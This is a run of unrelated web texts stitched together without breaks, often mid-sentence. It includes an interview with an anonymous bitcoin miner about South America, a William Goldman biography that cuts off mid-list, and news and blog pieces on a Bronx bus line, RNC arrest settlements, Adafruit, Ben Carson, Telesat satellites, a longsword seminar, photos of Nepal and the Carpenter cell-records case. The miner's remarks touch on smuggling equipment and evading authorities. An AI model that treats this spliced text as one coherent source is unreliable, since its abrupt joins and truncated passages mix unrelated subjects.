Bitcoin Chaser: Why is it so profitable to engage in bitcoin mining in some countries in South America?
Anonymous Bitcoin Miner: South America has been regarded for many years as “No mans’ land”. The fact that these countries were not modernized by the internet yet has made authorities unaware about or unable to control day to day general transactions. Statistically more than half of the population in these countries engage in the so called informal economy. Bitcoin mining is really new, governments don’t understand the technology behind it yet, but for a miner it is pretty easy to understand the production factors that go into bitcoin mining, namely electricity and internet connection. That is about it. In return, they receive an anonymous liquid asset with tremendous value in countries with weak currencies and authorities that are not trustworthy at all.
Economic Conditions
BC: How is it that bitcoin and other cryptocurrencies are gaining so much ground in some of the countries in South America?
ABM: Because of the average low utilities cost (not to say free), no tax and cheap labor costs, you have an incredible investment opportunity where operating expenses are paid in weak currencies but you are producing an asset with tremendous value pegged to more solid currencies.
Then, there is also the fact of declining confidence in South American governments such as Venezuela’s Hugo Chavez and Argentina’s Kirchners. There are two main reasons then, (i) currency controls established for years and (ii) utilities prices have been frozen by their respective governments for years; meanwhile, a black market for solid currencies has been flourishing.
These factors create what can be the ultimate business, one where there is unlimited upside and only a limited amount of investment for the equipment.
Criminalization of Bitcoin Miners and Other Members of the Community
BC: In some countries in South America, bitcoin is illegal – Ecuador and Bolivia. In others it has a shaky legal status at best and a shady reputation – Colombia. And in others, whether it is legal or not, doesn’t matter because authorities are actively indicting people on trumped up charges that are somehow related with bitcoin activity – Venezuela. Do you feel South American governments are particularly susceptible to bitcoin? Why?
ABM: What bitcoin sparked bothers every government in the world. The more open the country the more its government coexists with it. Looking first at the whole story, countries like Japan, Australia, South Korea, Switzerland, Estonia among others are adopting and embracing bitcoin, meanwhile Russia, Zimbabwe, Ecuador, Bolivia, Venezuela and others are persecuting bitcoin users and trying to stop it in any way possible. When you compare both groups of countries you know which are open societies and which are not.
In countries where mining and bitcoin in general are criminalized we see that the government is looking for more control instead of loosening its grip, and this is a big problem. Bitcoin poses a huge risk with its inherent characteristics. Therefore, it is easier to criminalize it than to understand and study its technology. Moreover, remember that one of the main ideas behind the technology is to eliminate corruption which is one of the main pillars of South American economies. Governments have forgotten that they are there for and because of the people which are the true owners of their own destiny.
Anonymous Bitcoin Miner Speaks About Mining Environment in South America
BC: Given the environment in which the bitcoin community operates in these countries, how challenging is it to get bitcoin mining equipment in the region?
ABM: Countries with so many controls have all the same problem: corruption. Because of this it has never been easier to get equipment into these countries without any trails whatsoever. Of course there are risks inherent to smuggling and contraband, but it is so regular and normal for people in these countries, that it is just a common practice; everyone knows it happens.
Hurdles for Miners
BC: Apart from the difficulty of getting bitcoin mining equipment, or the additional costs of purchasing it, which other hurdles do local bitcoin miners face and how do they overcome them?
ABM: From my personal experience the main difficulty is to stay hidden from the authorities which is easy if you are a small-time miner. As an anonymous bitcoin miner, I can say that if you want to get bigger, you need to give up anonymity and have the right government contacts. Then, there are other challenges unique to each country mainly electricity surges and power outages that damage the machines early on.
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Anonymous Bitcoin Miner Speaks About Government Intervention in South America
BC: Why do you think that the governments who are hostile to the bitcoin community, haven’t cracked down on mining equipment imports?
ABM: These governments suffer from exceptionally high levels of corruption that spreads like cancer. It is nearly impossible to crack down on small scale mining equipment imports (big miners have government contacts). There is also the possibility of the government benefitting indirectly from mining operations. The people that are mining subsidize the economy with additional money inflows.
Government Collapse
BC: On the news we see that certain governments in the region and certain countries are not doing well economically after the end of the commodity boom. Some governments are on the brink of collapse due to corruption and other excesses. What is the role that bitcoin is playing in these countries while they struggle economically?
ABM: The Venezuelan case is a perfect example of this. There are rumors of 100,000 miners that are currently surviving thanks to their bitcoin mining equipment, and it’s not only the miners, it is the miners’ families, friends and so on. With confidence I can say that one of the biggest reasons the country is still functioning is because of bitcoin. For these poor people bitcoin is the only way to survive and they choose to mine before starving despite the risk. Localbitcoins recently stated that Venezuela was one of its biggest markets in the world and that tells you the story behind the scenes.
Bitcoin Replacing National Currencies
BC: Is there any possible scenario in which bitcoin could replace a national currency in South America, and how likely is this scenario?
ABM: There is no possible scenario in which a South American government will adopt bitcoin or any other cryptocurrency for that matter. Nevertheless, it may very well become part of the economy, and the world economy for that matter.
The Future of Bitcoin and Cryptocurrency in South America
BC: Despite government efforts, bitcoin mining and the bitcoin economy are becoming more prominent in the region. How do you see the future of bitcoin and cryptocurrency in South America?
ABM: Bitcoin and mining are flourishing no doubt. Overall bitcoin will remain a safe haven asset that can be easily moved and transferred so it’ll be preferred over gold. Mining on the other hand will depend always on certain circumstances that for the foreseeable future will not change. Argentina for example, changed its government, increased power tariffs by 5000% and still the cost per kwh is.02 cents, so miners are still in business there.
The Next Big Thing
BC: What is the next big cryptocurrency project coming out of South America that we should keep our eyes on?
ABM: The only cryptocurrency project coming out from south America that I know of is so called Onix. Interesting enough there are unconfirmed rumors about a possible joint venture with the Venezuelan government. We will have to see what happens with this cryptocurrency, because information is currently hard to come by.This article is about the screenwriter/novelist. For the mathematician, see William Goldman (mathematician)
Butch Cassidy and the Sundance Kid, see "Harry Longbaugh" redirects here. For "Harry Longabaugh", a subject of, see Sundance Kid
William Goldman (August 12, 1931 – November 16, 2018)[1] was an American novelist, playwright, and screenwriter. He first came to prominence in the 1950s as a novelist, before turning to screenwriting. He won two Academy Awards for his screenplays, first for the western Butch Cassidy and the Sundance Kid (1969) and again for All the President's Men (1976).
His other works include his thriller novel Marathon Man and comedy-fantasy novel The Princess Bride, both of which Goldman adapted for the film versions.
Author Sean Egan has described Goldman as "one of the late twentieth century's most popular storytellers."
Early life [ edit ]
Goldman was born in Chicago and grew up in a Jewish family[3] in the Chicago suburb of Highland Park, Illinois, the son of Marion (née Weil) and Maurice Clarence Goldman.[4]
Goldman's father initially was a successful businessman, working in Chicago and then in partnership, but his alcoholism eventually sank his business. He "came home to live and he was in his pajamas for the last five years of his life," according to Goldman. Maurice Goldman killed himself while his son was still in high school. Marion Goldman's deafness increased the stress in the home.
Education [ edit ]
Goldman received a Bachelor of Arts degree from Oberlin College in 1952. Shortly thereafter, he was drafted into the Army. He knew how to type, so was assigned to the Pentagon, where he worked as a clerk until discharged with the rank of corporal in September 1954. He then matriculated at Columbia University, where he earned a Master of Arts degree in 1956. Throughout all this, Goldman wrote short stories in the evenings but struggled to have them published.[7]
Career [ edit ]
Novelist [ edit ]
According to his memoir, Adventures in the Screen Trade (1983), Goldman began to write when he took a creative-writing course in college. His grades in the class were "horrible".[8] An editor of Oberlin's literary magazine, he would submit short stories to the magazine anonymously; he recalls that the other editors, upon reading his submissions, remarked "We can't possibly publish this shit."[8] He did not originally intend to become a screenwriter. His main interests were poetry, short stories, and novels. In 1956 he completed an MA thesis at Columbia University on the comedy of manners in America.[9]
His brother, James Goldman, who died in 1998, was a playwright and screenwriter. They shared an apartment in New York with their friend John Kander (also Oberlin and Columbia MA) and helped out Kander, a composer, by writing the libretto for his dissertation. All three later won separate Academy Awards (Kander was the composer of over a dozen musicals including Cabaret, Chicago).[8]
On 25 June 1956 Goldman began writing what became his first novel, The Temple of Gold, completing it in less than three weeks.[10] He sent the manuscript to an agent, Joe McCrindle, who agreed to represent Goldman; McCrindle submitted the novel to Knopf, who agreed to publish once Goldman doubled the novel in length. It sold well enough in paperback to launch Goldman on his career.
After a 50-week break, Goldman wrote his second novel, Your Turn to Curtsy, My Turn to Bow (1958), in a little over a week. It was followed by Soldier in the Rain (1960), based on Goldman's time in the military; it sold well in paperback and was turned into a film (Goldman had no involvement in the screenplay).
Theatre work [ edit ]
Goldman began writing a long novel, which became Boys and Girls Together. He found during writing that he suffered writer's block.[12]
He and his brother received a grant to accompany a production of the musical Tenderloin (1960), on which they did some rewriting. Goldman and his brother then collaborated on an original play, Blood, Sweat and Stanley Poole (1961), and a musical (written with John Kander), A Family Affair (1962). Both had only short runs.
His writer's block on Boys and Girls Together continued, but Goldman then had an idea for another novel, No Way to Treat a Lady (1964) based on the Boston Strangler. He wrote it in two weeks, and it was published under a pseudonym, Harry Longbaugh (a variant spelling of the Sundance Kid's real name, which Goldman had been researching since the late 1950s). It was later made into a movie. Goldman then finished Boys and Girls Together, which became a best seller.[13]
Screenwriter [ edit ]
An early draft of No Way to Treat a Lady was read by Cliff Robertson, who hired Goldman to adapt a short story, Flowers for Algernon, for the movies. Before Goldman had even finished the script, Robertson recommended him to do some rewriting on a spy spoof Robertson was starring in, Masquerade (1965). Goldman did that, then finished the Algernon script.[14] However, Robertson disliked it and hired Stirling Silliphant instead to work on what became Charly (1968).[8][15]
Film rights to Boys and Girls Together had been optioned by the producer Elliot Kastner. While they were discussing the novel, Goldman suggested Kastner make a film of the Lew Archer novels of Ross Macdonald, and offered to do an adaptation. Kastner agreed, saying he would option whatever of the novels Goldman suggested; Goldman chose the first, The Moving Target. The result, Harper (1966), starring Paul Newman was a big hit.[16]
Goldman wrote an unfilmed sequel, The Chill.
Butch Cassidy and the Sundance Kid [ edit ]
Goldman returned to novels, writing The Thing of It Is... (1967). He taught at Princeton, and wished to write something but could not come up with an idea for a novel. Instead, he wrote his first original screenplay, Butch Cassidy and the Sundance Kid, which he had been researching for eight years. He sold it for $400,000, then the highest price ever paid for an original screenplay.[8] The resulting movie, released in 1969, was a critical and commercial success and earned Goldman an Oscar for Best Original Screenplay.
The money enabled Goldman to take some time off and research a non-fiction book on Broadway, The Season: A Candid Look at Broadway (1969).[17]
He adapted a book, In the Spring the War Ended, into a screenplay but it was not filmed. Neither were scripts he did of The Thing of It Is, which came close to being made several times in the early 70s, and Papillon, which he worked on for six months and three drafts (the book was filmed but little of Goldman's work was used at the end).[18]
Goldman returned to novels with Father's Day (1971), a sequel to The Thing of It Is... He also wrote the screenplay for The Hot Rock (1972).
The Princess Bride [ edit ]
Goldman's next novel was The Princess Bride (1973) which became perhaps his most beloved work. Goldman also wrote a screenplay but it was over a decade before the film was made.
In 1973, Goldman contracted a rare strain of pneumonia which resulted in his being hospitalized and affected his health for months. This inspired him into a burst of creativity, including several novels and screenplays, including eighteen drafts of screenplays in three years.[19][20]
According to Goldman, his novel writing moved in a more commercial direction following the death of his editor Hiram Haydn in late 1973.[21] This started with a children's book, Wigger (1974), but then he wrote a thriller, Marathon Man (1974), which he sold to Delacorte as part of a three-book deal worth $2 million. He sold movie rights to Marathon Man for $450,000.[22]
His second book for Delacorte was Magic (1976), a thriller, which sold to Joe Levine for $1 million. He did the screenplays for the film versions of Marathon Man (1976), starring Dustin Hoffman and Laurence Olivier and Magic (1978) with Anthony Hopkins.
He also wrote screenplay for The Stepford Wives (1975), which he says was an unpleasant experience because director Bryan Forbes rewrote most of it; Goldman tried to take his name off it but they would not let him.[23]
Goldman was reunited with director George Roy Hill and star Robert Redford on The Great Waldo Pepper (1975), which Goldman wrote from an idea of Hill's.
All the President's Men [ edit ]
Redford hired Goldman to write the script of All the President's Men (1976).
Goldman wrote the famous line "Follow the money" for the screenplay of All the President's Men; while the line is often attributed to Deep Throat, it is not found in Bob Woodward's notes nor in Woodward and Carl Bernstein's book or articles.[24] However, the book does have the far less-quotable line from Woodward to Senator Sam Ervin, who was about to begin his own investigation: "The key was the secret campaign cash, and it should all be traced..."
Goldman was unhappy with the movie; The Guardian says that he changes the subject when asked about the movie, but suggests that his displeasure may be because he was pressured to add a romantic interest to the film.[8] In his memoir, Goldman says of the film that if he could live his life over, he would have written the same screenplays, "Only I wouldn't have come near All the President's Men."[26] He said that he has never written as many versions of a screenplay as he did for that movie.[26] Speaking of his choice to write the script, he said: "Many movies that get made are not long on art and are long on commerce. This was a project that seemed it might be both. You don't get many and you can't turn them down."[10]
In Michael Feeney Callan's book Robert Redford: The Biography, Redford is reported as stating that Goldman did not actually write the screenplay for the movie,[27] a story that was excerpted in Vanity Fair.[28] Written By magazine conducted a thorough investigation of the screenplay's many drafts and concluded, "Goldman was the sole author of All The President's Men. Period."[26]
Joseph E. Levine [ edit ]
A Bridge Too Far in 1976 Goldman (left) and James Caan while shootingin 1976
Goldman had a happier experience when hired by Joseph E. Levine to write A Bridge Too Far (1977) based on the book by Cornelius Ryan. Goldman later wrote a promotional book Story of A Bridge Too Far (1977) as a favor to Levine, and signed a three-film contract with the producer worth $1.5 million.[22]
He wrote a novel about Hollywood, Tinsel (1979), which sold well. He wrote two more films for Levine, The Sea Kings and Year of the Comet but did not write a third. He did a script about Tom Horn, Mr. Horn (1979), was filmed for TV.[29]
Goldman was the original screenwriter for the film version of Tom Wolfe's novel The Right Stuff; director Philip Kaufman wrote his own screenplay without using Goldman's material, because Kaufman wanted to include Chuck Yeager as a character; Goldman did not.[17]
He wrote a number of other unfilmed screenplays around this time, including The Ski Bum; a musical adaptation of Grand Hotel (1932) that was going to be directed by Norman Jewison; and Rescue, the story of the rescue of Electronic Data Systems employees during the Iranian Revolution. Neither were made.
Adventures in the Screen Trade and the "Leper Period" [ edit ]
After several of his screenplays were not filmed, Goldman found himself in less demand as a screenwriter. He published a memoir about his professional life in Hollywood, Adventures in the Screen Trade (1983), which summed up the entertainment industry in the opening sentence of the book, "Nobody knows anything."[31][32]
He focused on novels: Control (1982), The Silent Gondoliers (1983), The Color of Light (1984), Heat (1985) and Brothers (1986). The latter, a sequel to Marathon Man, was Goldman's last published novel.
Return to Hollywood [ edit ]
Goldman attributed his return to Hollywood to signing with talent agent Michael Ovitz at Creative Artists Agency. He went to work on Memoirs of an Invisible Man, although he left the project relatively early.
Hollywood's interest in Goldman was re-awakened: he wrote the scripts for film versions of Heat (1986) and The Princess Bride (1987). The latter was directed by Rob Reiner for Castle Rock who hired Goldman to write the screenplay for Rob Reiner's 1990 adaptation of Stephen King's novel Misery, considered "one of [King's] least adaptable novels".[17] The movie, for which Kathy Bates received an Academy Award, performed well with critics and at the box office.[17]
Goldman continued to write non-fiction regularly. He published a collection of sports writing, Wait Till Next Year (1988) and an account of his time as a judge at both the Cannes Film Festival and the Miss America Pageant, Hype and Glory (1990).
Goldman began to work steadily as a "script doctor", doing uncredited work on films including Twins (1988), |
know, is a phrase that I’ve heard many times before and am likely to hear many more times in the future: Star Trek Lives!
MARK A. ALTMAN is the writer/producer of the award winning, cult classic Free Enterprise starring William Shatner and Eric McCormack. He has been a writer/producer on such hit television series as Castle, Necessary Roughness and Femme Fatales and is the founding publisher of the bestselling magazine, Geek Magazine, available at newsstands everywhere. Altman has also produced numerous feature films including James Gunn’s The Specials and DOA: Dead or Alive, based on the hit video game series. You can follow him on Twitter at @markaaltman.The commute between Washington Heights and the South Bronx is about to get a lot quicker with the anticipated launch of a Select Bus Service this fall, DNAinfo reports. The Metropolitan Transportation Authority (MTA) will launch a Select Bus Service route along the existing Bx6 bus route that runs between Riverside Drive and the Hunts Point Cooperative Market.
It takes about 56 minutes on average to complete the 4.8-mile long stretch at present, but a Select Bus will significantly reduce the time and the number of stops. There are over 30 stops along the route right now, but with the new bus that will go down to just 20 — with only three stops in Manhattan.
The MTA will likely finalize the street design and the overall plan for the route sometime during the summer, and hopes to launch the service in the fall, according to DNAinfo.
The Bx6 bus route transports 25,000 passengers everyday and connects to several different modes of public transport. The new Select Bus Service will make it the 10th such bus line across the city. The MTA has seen a 10 percent increase in ridership and 23 percent increase in speed along those routes.Jake Dobkin/Gothamist reached a settlement with hundreds of protesters who were arrested during the 2004 Republican National Convention in New York City.
The settlement resolves hundreds of federal civil rights claims by protesters who claimed they were illegally arrested and then made to endure dangerous conditions while waiting to see a judge inside a temporary detention center.
The city, however, has yet to confirm the settlement. "The number of open cases has essentially not changed," the city's Law Department told us. "There are still approximately 50 open cases involving hundreds of plaintiffs."
Already, the city tells us, it "has spent approximately $16 million in attorneys’ fees and expenses."
In 2012, a federal judge ruled that the NYPD's mass arrests at the 2004 Republican National Convention were illegal, citing the NYPD's lack of individualized probable cause in arresting hundreds of protesters. Still, the NYPD has already spent thousands of dollars defending the lawsuits, and more paying settlements. This new settlement will reportedly cost the city several million dollars, according to the New York Times.
With hundreds of lawsuits and millions of dollars paid out to the wrongfully arrested, Ray Kelly told WNBC in 2007 that "the Republican National Convention was perhaps the finest hour in the history of the New York City Department." The NYCLU has not responded to our request for comment.
Spying files on protesters made by the NYPD in the run-up to and during the RNC have been kept mostly secret since 2004, with an appeals panel ruling that their disclosure “could undermine the safety of law enforcement personnel." The NYPD had infiltrated several protest groups and made arrests based on evidence they collected during these undercover operations. When pressed to release those undercover reports, the NYPD refused, with a judge ruling that 1900 pages could remain sealed.Adafruit, the kit-based electronics retailer and promoter of hobbyist engineering, is aiming to teach electronics to a younger demographic. So young that they're enlisting the help of puppets.
Their new online show, titled *Circuit Playground, *will teach the essentials of electronics and circuitry to children through kid-friendly dolls with names like Cappy the Capacitor and Hans the 555 Timer Chip. Limor "Ladyada" Fried, Adafruit's founder and chief engineer (and 2012 Entrepreneur of the Year), will host the episodes, with her team assisting with onscreen and puppeteering duties.
"We'll have each component have a story, a song and something to do," Fried says. "We'll have live feeds in our factory on how things are made. It's a little Elmo for engineering, a little Mr. Rogers for resistors and a little Sesame Street for Circuits."
Adafruit is familiar with online broadcasts, hosting weekly "Show-and-Tell" and "Ask an Engineer" shows on Google+ and Ustream for over three years. Circuit Playground was a natural extension for them. "We saw the audience and the participants getting younger with more advanced projects, so we figured there was something there," Fried says.
One of the first episodes will focus on robots. "ADABOT our robot muppet has a song about how robots can take pictures from mars, and be self-driving cars," Fried explains. "We want to celebrate the fun and good parts of making things, and even tackle complex subjects like what's 'good' to make – friendly robots for example."
As a learning companion, Adafruit has also recently produced the coloring book E is for Electronics, and will carry plushie dolls of each character and an add-on for the eponymous Circuit Playground iPhone/iPad app.
Episodes will premiere this March on Google+ and Ustream. Fried holds hope for them to inspire the upcoming crop of designers and builders.
"Will there be a generation of engineers 10 years or so from now saying, 'Hey, I became an engineer because of that crazy electronics show Circuit Playground'? I hope so."Feb 27, 2016-
Photographs, like good wine, only get better with time. I first came to Nepal through the Peace Corps in 1965. My father, at the time, worked for the Eastman Kodak Company, commonly known as just Kodak, and had given me a small camera to document my experiences. These pictures are snapshots from my stay in Nepal from 50 years ago, when I worked as a community worker with the then Village Panchayat at Bandipur and from the various treks and outings I was able to partake in during my time here. I have to admit, I am not a professional photographer, and these photographs, like haikus, have merely frozen a bygone era into visual memories.
Over this weekend, I will be exhibiting these images in the age-old alleyways and courtyards of Bandipur. The stand-alone photographs will not be accompanied by captions describing the action. What I hope the pictures do instead is spark conversations among the residents—“Isn’t that his grandpa?”, “Didn’t that family emigrate to the States 20 years ago?” and the likes. The residents will be able to keep the photographs of their relatives if they choose to do so, the rest, I hope, will find a spot in the cafes and hotels of the town. Because, in the end, photographs, like all memories, stay alive through conversations and nostalgic reverie.
Nag Pokhari, near the Narayanhiti Palace, inaundated by lotus plants.
The Akash Bhairab Temple at Indrachowk before its renovation.
Bandipur in the morning light. Much of the core city remains the same today.
A Magar girl, wearing traditional jewellery, turns to face the camera in Bandipur.
Children take a plunge in a swollen Bagmati river at Pashupati.
Indra Jatra celebrations at the Kathmandu Durbar Square.
A marriage ceremony with the traditional Panche Baja in Terathum.
Early morning bustle at Bhaktapur Durbar Square.
A porter gets his tooth pulled by a local blacksmith in Okhaldhunga.
A classroom in Okhaldhunga.
Thakali traders descend down to Pokhara with their ornate caravans.
Freshly-fired pottery left out to dry at Bhaktapur.
Published: 27-02-2016 10:35The CPAC crowd that roared as Ted Cruz lit up the stage with a rousing speech, whistling and cheering as he exited like a rock star to “Welcome to the Jungle” blasting in the background, immediately fell into a blissful reverie as Dr. Ben Carson, amateur somnambulist, took the stage to talk about his post-presidential candidacy plans.
Streams of Cruz supporters left the Potomac ballroom (and few came back in) as Carson was introduced by A.C.U. chairman Matt Schlapp, and those remaining clapped with polite enthusiasm as the retired neurosurgeon came onstage. Reporters slowly drifted out of their filing pen in the back, with several grumbling about the extraordinarily tight Secret Service security, which had descended upon CPAC to guard the presidential candidates, as Carson formally ended his dreamlike quest for the White House.
Dressed in a somber black suit, Carson confirmed his earlier announcement that he would become the chairman of My Faith Votes, a group focused on reaching out to the millions of evangelical voters who did not vote in previous elections. Echoing another failed presidential candidate, Bobby Jindal, Carson warned the crowd of a rising tide of “secular progressivism” creeping into American politics, and explained that he would drop out of the race as a result.
His supporters groaned as he officially acknowledged he was suspending his campaign, then stood up in applause, long and loud, a reminder that the one-time front-runner was still, despite any obvious presidential qualities, a crowd-pleaser. “You know, a lot of people love me, they just won’t vote for me,” he said ruefully.
Among those who stayed to watch Carson bow out, several had hoped he would make an endorsement, but largely did not mind that they'd remained in the ballroom.
“I never supported Ben Carson, but he’s one of those guys—you can’t hate him,” said a young man, one of several Hillsdale College students gathered on the convention floor. They all agreed with his sentiment, though when asked who they supported, nearly all unanimously chimed, “Cruz!”
“I could tell he looks sad about it, whenever he said he was dropping out, everyone kind of booed. They all respected him... it seems like he really respects the party,” said Taylor Stephenson of Marshall University, standing with two friends elsewhere. “He wants what’s best for it.”
“He puts a lot of love into it,” added fellow Marshall student Nathan Korne, a former Carson supporter who, as he described it, drifted towards libertarianism and became a Rand Paul fan, but still admired Carson for his life story. “Can I say one thing?” he asked suddenly. “Ben Carson, compared to all the other candidates, will get number one at being most adorable.”If you would like to see more articles like this please support our coverage of the space program by becoming a Spaceflight Now Member. If everyone who enjoys our website helps fund it, we can expand and improve our coverage further.
Updated Feb. 29 with confirmation Telstar 18V and 19V will launch on Falcon 9s.
The Canadian telecom satellite operator Telesat plans to launch two multipurpose communications spacecraft aboard SpaceX Falcon rockets in 2018, the company disclosed this week in a quarterly earnings announcement.
A spokesperson for the Ottawa-based company said the new satellites, named Telstar 18 Vantage and Telstar 19 Vantage, would fly aboard Falcon 9 rockets.
Telstar 18V and 19V are both due for launch in early 2018.
The Telstar satellites could take off from SpaceX’s launch facilities at Cape Canaveral, Florida, or a launch pad under construction near Brownsville, Texas, to be operational in 2018.
A Telesat spokesperson did not respond to questions on the launch arrangements.
The satellites will be built by Space Systems/Loral in Palo Alto, California, and based on the SSL 1300 spacecraft bus, Telesat said.
Telesat booked deals to launch the satellites with SpaceX late last year, but neither company officially disclosed the launch services provider until Thursday, when Telesat released its 2015 financial results.
The Canadian operator, the world’s fourth-largest owner of commercial geostationary satellites, previously revealed its agreement with Space Systems/Loral to manufacture the Telstar 18V and 19V spacecraft.
Telstar 18 Vantage will bridge the Pacific Ocean from a slot in geostationary orbit nearly 22,300 miles (36,000 kilometers) above the equator at 138 degrees east longitude. The craft’s Ku-band and C-band communications payload will reach customers in China, Mongolia, Southeast Asia, India, Pakistan, Indonesia, Australia, New Zealand, and the Pacific Ocean region, including Hawaii.
APT Satellite Co. Ltd., a Chinese satellite operator headquartered in Hong Kong, is funding more than half the cost of Telstar 18 Vantage and will use the majority of the satellite’s communications capacity, Telesat said. Apstar will name its part of the satellite Apstar 5C.
“Telstar 18 Vantage is a high throughput, highly flexible, state-of-the-art satellite that will provide a significant competitive advantage to customers serving the demanding requirements of broadcast, enterprise and government users throughout Asia,” said Dan Goldberg, Telesat’s president and CEO. “We are pleased to be making this important addition to our global satellite fleet and, moreover, pleased to continue our long and successful relationship with Apstar, a leading Asian operator with whom we have closely cooperated for over a decade.”
It replaces the Telstar 18/Apstar 5 spacecraft sent up by Sea Launch in 2004. Sea Launch’s Zenit rocket put the satellite into a lower-than-planned orbit, but Telstar 18 maneuvered to its planned operating point using its own thrusters.
Telstar 19 Vantage will cover a swath of the Americas from Patagonia to Canada’s northern territories from a geostationary position at 63 degrees west longitude, where Telesat will expand and replace coverage currently provided Telstar 14R/Estrela do Sul 2, which launched by a Proton rocket in 2011.
Hosting Ku-band and Ka-band communications payloads, Telstar 19V is designed for a 15-year service life, according to Telesat. Hughes Network Systems has committed to purchase Ka-band capacity for broadband services over South America.
Telesat’s first high throughput satellite, Telstar 12 Vantage, launched in November 2015 aboard a Japanese H-2A rocket. The successful mission marked the first dedicated commercial launch of the H-2A, built, operated and marketed by Mitsubishi Heavy Industries.
Email the author.
Follow Stephen Clark on Twitter: @StephenClark1.The shadow of the Bat will follow Ben Affleck no matter where he goes, even if it’s in the chambers of the United States Senate.
Affleck, who will play Batman in Batman Vs. Superman: Dawn of Justice, made a reference to the Dark Knight while speaking before the U.S. Senate earlier this week. In his opening statement on the importance of diplomacy, Affleck addressed U.S. Senator Patrick Leahy as his “Batman co-star.” And no, the Senator isn't about to join the Justice League. Leahy will make a cameo appearance in Dawn of Justice next year.
As an avid fan of the Caped Crusader, Leahy’s Batman film resume is actually longer than Affleck’s. Leahy cameoed in both The Dark Knight and The Dark Knight Rises, making him one of Washington’s biggest geeks. You can see the Bat-bros address each other at the 1:30 mark.
Ben Affleck, Eastern Congo Initiative (ECI) Founder, Opening Statement at Senate hearing on Diplomacy. Watch the complete hearing here: http://cs.pn/1M42lVe Posted by C-SPAN on Thursday, March 26, 2015Hosted by Pflug Fighters Norfolk
For anyone in historical fencing, Swedish tournament legend Axel Pettersson needs no introduction. We’ve heard the name since our first longsword lesson, we’ve seen the videos, we’ve seen him winning the major events and we know we’re in for a treat. And yet, how good an instructor Axel actually is, isn’t as talked about as it should.
I’m still blown away by how good the seminar was!
A big thank you to Ben Grief from Pflug Fighters Norfolk for organising it and for pulling off a successful week-end of longsword full immersion.
Axel started off with a warm up based on wrestling (I quote him, “I see no difference between wrestling and historical fencing, wrestling training is so beneficial to your fencing.”) and a lot of excellent drilling followed, first without sword to train distance and timing management, then sword in hand. The teaching was structured so well, every drill linked to the following. Over two days, we practiced solo drills, pair drills, flow drills focused on the use of long edge and short edge, parries, faints, footwork, tactics, coached sparring, feedback, mental game, cross training and stretching and surely I’m not mentioning all. My notes by now have reached the size of a mini treatise, just saying. I attended many events and seminars so far but this was the first with one instructor in particular. With his in depth knowledge of the sources and his understanding of body mechanics, Axel taught for about 6 hours a day keeping everybody’s attention high and without ever losing his positive attitude and his smile, chapeau!
Big fan of one-on-one learning as I am and knowing Axel’s been keen on it recently, I was delighted I could schedule some 20 intense precious minutes of private tuition with him and I recommend it. One on one time is invaluable, focused on you and your fencing only. Gold.
Along with the nice folk from the organising club, historical fencers from London, Cambridge, Bristol, Bath, Brighton and as far as North Wales came to East Anglia to attend the seminar, and everybody was friendly and keen on training. Fantastic crowd.
A longsword competition with shiny prizes accompanied the seminar, and fourteen fencers, including me, took part. All five Waterloo Sparring Group regulars at the event competed and did well and I ended up facing my instructor in the final. He deservedly won taking first place, while I got my first silver (bronze and gold before, so that’s a first) and a beautiful shiny Regenyei messer as prize.
That makes it my second medal in an open longsword comp, after I got bronze in Dublin last summer. Not bad for little old me and I’m especially pleased with the feedback I got from my instructor after the semifinal. It was interesting though that while in the rest of the tournament my competitor hat was well on my head, in the final against my instructor I felt very much the student again and that affected my performance negatively. But it’s all experience points gained and something more to watch out for the next time.
Above: The Koning gloves, finally a chance to have a look at and a feel for these new great gloves designed and produced by Axel Petterson and Anders Linnard.
It all sounds too good to be true but the week-end really exceeded my expectations, and they were high to begin with. Apart from what I got out of it technically, a lot of what Axel said throughout the hours of training reinforced both my idea that my instincts regarding sword fighting are correct and my resolution to trust them more. He touched on many relevant points: the importance of cross training, strength training, wrestling as the mother of all fighting, sparring mindset and competition mindset, feedback (how to give it, how to take it) and more, including what every longsword fencer knows in their heart of hearts, even if some are still in denial: yes, the High Vom Tag guard is totally sexy!
All pictures courtesy of Ben Grief except the last two. Nope, didn’t forget to take an Axel selfie!When the Supreme Court on Wednesday undertakes a potentially landmark examination of how law enforcement's use of technology impacts the American notion of privacy, the terrain will be familiar.
In 2012, when the government argued that placing a GPS device on someone's car and tracking their whereabouts for weeks raised no constitutional concerns, some of the justices were taken aback.
"Essentially, I think you answered the question that... any of us could be monitored whenever we leave our homes," Justice Ruth Bader Ginsburg told the government's lawyer.
[Supreme Court limits police use of GPS tracking]
And when in 2014 the court ruled that a search of someone's cellphone generally requires a warrant, Chief Justice John G. Roberts Jr. noted what every smartphone owner knows.
"They could just as easily be called cameras, video players, Rolodexes, calendars, tape recorders, libraries, diaries, albums, televisions, maps or newspapers," Roberts wrote for a unanimous court.
[Supreme Court says police generally need warrants to search cellphones]
Now, the court is taking up a case that in part combines those concerns, asking whether authorities need a warrant to access cell tower records that could reveal a suspect's whereabouts.
Privacy groups and civil libertarians are asking the court to reconsider how precedents established in the days of rotary dials and telephone nooks can be reconciled with a world in which most Americans say that are usually within five feet of their smartphones.
"It's 2017, not 1977, but people have the right to expect that their everyday movements and thoughts will not be freely available to the government without a warrant," said Nathan Freed Wessler, an American Civil Liberties Union lawyer who is arguing Wednesday's case.
Wessler represents Timothy Carpenter, who is serving a 116-year sentence for his role in armed robberies in 2010 and 2011 at RadioShack and T-Mobile stores in and around Detroit. The gang was stealing, of all things, smartphones.
One of the men arrested named Carpenter as the ringleader, who typically organized the robberies, supplied the guns and acted as a lookout. Authorities asked cellphone carriers for 127 days of records that would show Carpenter's use of his phone.
Such records indicate where a cellphone establishes connections with a specific cell tower and give a fair representation of the vicinity of the user. In Carpenter's case, the mass of information showed his phone at 12,898 locations, including close to where the robberies occurred when they took place.
Carpenter's lawyers say that the government's actions violated their client's rights under the Fourth Amendment, which protects against unreasonable searches. Authorities should have had to convince a judge there was probable cause to get the records, they say.
Instead, under the Stored Communications Act, authorities had to meet a lesser standard: that there were "reasonable grounds to believe" that the records sought "are relevant and material to an ongoing criminal investigation."
The government contends that its actions fit squarely with the Supreme Court's prevailing precedents. In a 1979 decision in Smith v. Maryland, the court ruled that requesting records that showed the numbers called from a traditional home phone did not constitute what would be considered a "search" under the Fourth Amendment.
Because the caller's information was voluntarily transmitted to a third party — the telephone company — he or she had no reasonable expectation that the numbers called would remain private. It is the same in Carpenter's case, Solicitor General Noel Francisco told the Supreme Court.
"Cell-phone users voluntarily reveal to their providers information about their proximity to cell towers so the providers can connect their calls," the brief says. "Users cannot reasonably expect that the providers will not reveal that business information to the government."
The companies are properly seen as potential witnesses to a crime, and requesting information from them should not require a warrant, the government argues.
